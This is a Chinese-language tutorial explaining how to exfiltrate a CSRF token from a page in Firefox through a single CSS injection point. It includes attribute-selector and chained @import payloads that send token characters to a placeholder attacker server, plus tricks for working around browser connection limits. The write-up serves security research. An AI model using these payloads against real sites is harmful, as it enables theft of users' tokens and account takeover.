您好,登錄后才能下訂單哦!
這篇文章主要介紹了怎么利用單一注入點從Firefox瀏覽器中提取CSS數據,具有一定借鑒價值,感興趣的朋友可以參考下,希望大家閱讀完這篇文章之后大有收獲,下面讓小編帶著大家一起了解一下。
在我們的演示樣例中,假設我們想獲取<input>元素中的CSRF令牌:
<input type="hidden" name="csrftoken" value="SOME_VALUE">
可能是由于內容安全策略的原因,這里我們無法使用腳本來實現這個目的,因此我們嘗試尋找基于樣式的注入點。一般來說,我們會選擇使用屬性選擇器:
input[name='csrftoken'][value^='a'] { background: url(//ATTACKER-SERVER/leak/a);}input[name='csrftoken'][value^='b'] { background: url(//ATTACKER-SERVER/leak/b);}...input[name='csrftoken'][value^='z'] { background: url(//ATTACKER-SERVER/leak/z);}
如果這里部署了CSS規則,那么攻擊者就可以獲取一個HTTP請求,然后提取令牌的第一個字符。接下來,攻擊者需要準備另一個樣式表,其中需要包含已竊取的第一個字符:
input[name='csrftoken'][value^='aa'] { background: url(//ATTACKER-SERVER/leak/aa);}input[name='csrftoken'][value^='ab'] { background: url(//ATTACKER-SERVER/leak/ab);}...input[name='csrftoken'][value^='az'] { background: url(//ATTACKER-SERVER/leak/az);}
此時,攻擊者需要重新加載目標頁面中的<iframe>以提供后續的樣式表。
在2018年,Pepe Vila提供了一種利用CSS遞歸導入的方式實現在Chrome瀏覽器中的單一注入點利用技術。而在2019年,Nathanial Lattimer(@d0nutptr)基于該技術重新提出了一種 改進方案,這種技術比較適用于本文針對Firefox瀏覽器的場景。
在第一次注入時,我們需要用到大量import:
@import url(//ATTACKER-SERVER/polling?len=0);@import url(//ATTACKER-SERVER/polling?len=1);@import url(//ATTACKER-SERVER/polling?len=2);...
首先,在一開始只有第一個@import會返回一個樣式表,其他語句處于連接阻塞狀態。此時,第一個@import返回目標樣式表,其中包含了令牌的第一個字符。接下來,當泄露的第一個令牌抵達攻擊者的服務器端ATTACKER-SERVER之后,第二個@import將停止阻塞,并返回包含令牌第一個字符的樣式表,然后嘗試獲取令牌中的第二個字符。最后,當第二個泄露字符到達攻擊者的服務器端ATTACKER-SERVER之后,第三個@import將停止阻塞……以此類推。
這種技術之所以有效,是因為Chrome會采用異步方式處理@import,因此當任何@import停止阻塞時,Chrome會立即解析該語句并應用執行。
跟Chrome相比,Firefox針對樣式表的處理方式完全不同。首先,Firefox會采用同步方式處理樣式表。因此,當樣式表中有多個@import時,只有當所有@import都處理完畢時CSS規則才會被應用。比如說:
<style>@import '/polling/0';@import '/polling/1';@import '/polling/2';</style>
假設第一個@import返回CSS規則時,會將頁面背景設置為藍色,后面的@import將處于阻塞狀態。在Chrome中,頁面會立即變成藍色,但是在Firefox中卻不會有任何反應。
此時,我們可以將所有的@import單獨放在<style>元素中:
<style>@import '/polling/0';</style><style>@import '/polling/1';</style><style>@import '/polling/2';</style>
在上述代碼中,Firefox會分別處理所有的樣式表,此時Firefox中的頁面會立刻變藍色,其他的@import會在后臺進行處理。
不過這里還有一個問題,比如說我們想竊取包含10個字符的令牌:
<style>@import '/polling/0';</style><style>@import '/polling/1';</style><style>@import '/polling/2';</style>...<style>@import '/polling/10';</style>
Firefox會立即將10個@import加入隊列。在處理完第一個@import之后,Firefox會將帶有已知字符的另一個請求加入隊列。問題就在于,該請求會被追加到隊尾處。在默認情況下,瀏覽器跟同一個服務器只能建立六條并發鏈接。因此,帶有已知字符的請求永遠不會到達目標服務器,因為該服務器已經有六條阻塞鏈接了,此時便會發生死鎖。
六條并發鏈接的限制是由TCP層決定的,因此單臺服務器同時只能存在六條TCP鏈接。而HTTP/2的其中一個優勢就在于,它支持通過單個鏈接來發送多個HTTP請求(即多路復用),從而大大提升網絡性能。
但是,Firefox針對單個HTTP/2連接的并發請求數也有限制,默認配置下限制數量為100條。如果需要使用更多的并發鏈接,則需要使用不同的主機名來設置,并強制Firefox創建第多條TCP鏈接。
比如說,如果我們創建到https://localhost:3000的100個請求,然后又創建到https://127.0.0.1:3000的50個請求,那么Firefox就會創建兩條TCP鏈接。
利用技術
技術利用場景如下:
1、代碼基于HTTP/2實現;
2、“/polling/:session/:index”節點會返回一個CSS并泄露第“:index”個字符。該請求會處于阻塞狀態,直到前一個請求成功泄露第“:index-1”個字符為止。其中,“:session”路徑參數用來區分多次攻擊行為。
3、通過“/leak/:session/:value”節點來獲取完整的令牌,這里的“:value”即為獲取到的完整令牌值。
4、為了強制Firefox向同一個服務器發起兩條TCP鏈接,這里用到了兩個節點,即https://localhost:3000和https://127.0.0.1:3000。
5、使用“/generate”節點來生成樣本代碼。
感謝你能夠認真閱讀完這篇文章,希望小編分享的“怎么利用單一注入點從Firefox瀏覽器中提取CSS數據”這篇文章對大家有幫助,同時也希望大家多多支持億速云,關注億速云行業資訊頻道,更多相關知識等著你來學習!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。